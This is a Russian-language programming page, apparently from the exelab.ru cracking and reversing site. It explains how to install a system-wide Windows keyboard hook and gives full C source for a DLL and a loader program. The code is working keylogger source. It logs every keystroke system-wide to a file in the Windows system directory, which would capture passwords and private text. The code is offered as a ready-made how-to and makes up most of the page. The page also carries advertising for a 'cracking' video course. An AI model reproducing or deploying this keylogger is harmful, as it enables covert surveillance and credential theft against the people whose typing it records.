Оригинальный DVD-ROM: eXeL@B DVD !
eXeL@B ВИДЕОКУРС !

ВИДЕОКУРС ВЗЛОМ
выпущен 2 сентября!


УЗНАТЬ БОЛЬШЕ >>
Домой | Статьи | RAR-cтатьи | FAQ | Форум | Скачать | Видеокурс
Новичку | Ссылки | Программирование | Интервью | Архив | Связь

ПРОГРАММИРОВАНИЕ НА C и С++



Слушай, дружище, зачем так мучиться с этим языком С++, ты ведь не Билл Гейтс. Возьми тот же Python и программируй, он кроссплатформенный, под Windows тоже работает. Я сам давно заметил: то что на Си пишешь в страницу кода, на питоне решается в одну-две строки. При том, питон намного проще, я его сам недавно изучил по видеокурсу вот этому. Кстати, автор отлично там объясняет. Буквально день-два и уже будешь писать на нём, чего не скажешь про сложный С++.

Как поставить system-wide хук(например писать в файл все нажатия кнопок)

Для этого хук должен жить в длл.

текст DLL:
 
 BOOL kdown=false;
 HANDLE ghDLLInst = 0;   // Handle to the DLL's instance.
 char logname[MAX_PATH];
 char sysdir[MAX_PATH];
 DWORD NOfBytes;
 BOOL shift=false;
 HANDLE LFile;
 char buffer[20];
 
 BOOL WINAPI DllMain (HANDLE hModule, DWORD dwFunction, LPVOID lpNot)
 {
     ghDLLInst = hModule;
 
     switch (dwFunction)
     {
         case DLL_PROCESS_ATTACH:
    {
 
    GetSystemDirectory(
       sysdir,
    MAX_PATH
    );
 
    strcpy(logname,sysdir);
    strcat(logname,"\\kbdkeys.txt");
 
    }
         case DLL_PROCESS_DETACH:
    {
    }
 
         default:
             break;
     }
     return TRUE;
 }
 //------------------------------------------------
  LRESULT  CALLBACK KeyboardProc(
      int code,  // hook code
      WPARAM wParam,     // virtual-key code
      LPARAM lParam      // keystroke-message information
    )
 {
 BYTE aa[4];
 memcpy(aa,&lParam,4);
 kdown=!(aa[3]&&64);
 BYTE scancode=aa[2];
 BYTE ww[4];
 memcpy(ww,&wParam,4);
 
 if (code<0)return CallNextHookEx(NULL,code,wParam,lParam);
 
 if(kdown&&(wParam==VK_SHIFT))shift=true;
 
 if(!kdown&&(wParam==VK_SHIFT))shift=false;
 
 if (kdown&&(wParam!=VK_SHIFT))
 {
 sprintf( buffer ,"%c",wParam );
 if(isalpha(ww[0])&(!shift))wParam=wParam+32;
 sprintf( buffer ,"%c",wParam );
 if(wParam==VK_RETURN)strcpy(buffer,"\n");
 
    LFile=CreateFile(logname, GENERIC_READ|GENERIC_WRITE,FILE_SHARE_WRITE |
 FILE_SHARE_READ |
 FILE_SHARE_DELETE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
   OVERLAPPED ovlp;
   DWORD ffsze=GetFileSize(LFile,NULL);
   ovlp.OffsetHigh=0;
   ovlp.hEvent=NULL;
    ovlp.Offset=ffsze;
 
   WriteFile(LFile,buffer,strlen(buffer),&NOfBytes,&ovlp);
 
   CloseHandle(LFile);
 }
  return CallNextHookEx(NULL,code,wParam,lParam);
 }
 //----------------------------------------------------------------------//
 текст приложения:
 
 #include <commdlg.h>
 #include <stdlib.h>
 #include <winnls.h>
 
 int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
                      LPSTR lpCmdLine, int nCmdShow);
 
 //---------------------------------------------------------------------//
 BOOL
 SetHook(
     BOOL fSet
     )
 {
     static HHOOK hhkKbdHook = NULL;
     static HANDLE hmodHook;
 
     if (fSet)
     {
         if (!hmodHook)
         {
             if (!(hmodHook = LoadLibrary("kbdh.dll"))) //вышеприведенная длл
             {
                 return FALSE;
             }
         }
 
         if (!hhkKbdHook)
         {
          if (!(hhkKbdHook =
   SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)
   GetProcAddress((HINSTANCE)hmodHook,"KeyboardProc"),(HINSTANCE)hmodHook,0)))
             {
                 return FALSE;
             }
         }
 
  }
     else
     {
         if (hhkKbdHook)
         {
             UnhookWindowsHookEx(hhkKbdHook);
             hhkKbdHook = NULL;
         }
 
     }
 
     return TRUE;
 }
 //--------------------------------------------------------------------//
 int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
                      LPSTR lpCmdLine, int nCmdShow)
 {
     if(!SetHook(true))MessageBox(NULL,"zad","zad",MB_OK);
     MSG   msg;
 
   while (GetMessage (&msg, NULL, 0, 0))
   {
         TranslateMessage (&msg);
         DispatchMessage (&msg);
   }
  return( 0 );
 }


<< ВЕРНУТЬСЯ В ПОДРАЗДЕЛ

<< ВЕРНУТЬСЯ В ОГЛАВЛЕНИЕ




Материалы находятся на сайте https://exelab.ru/pro/



Оригинальный DVD-ROM: eXeL@B DVD !


Вы находитесь на EXELAB.rU
Проект ReactOS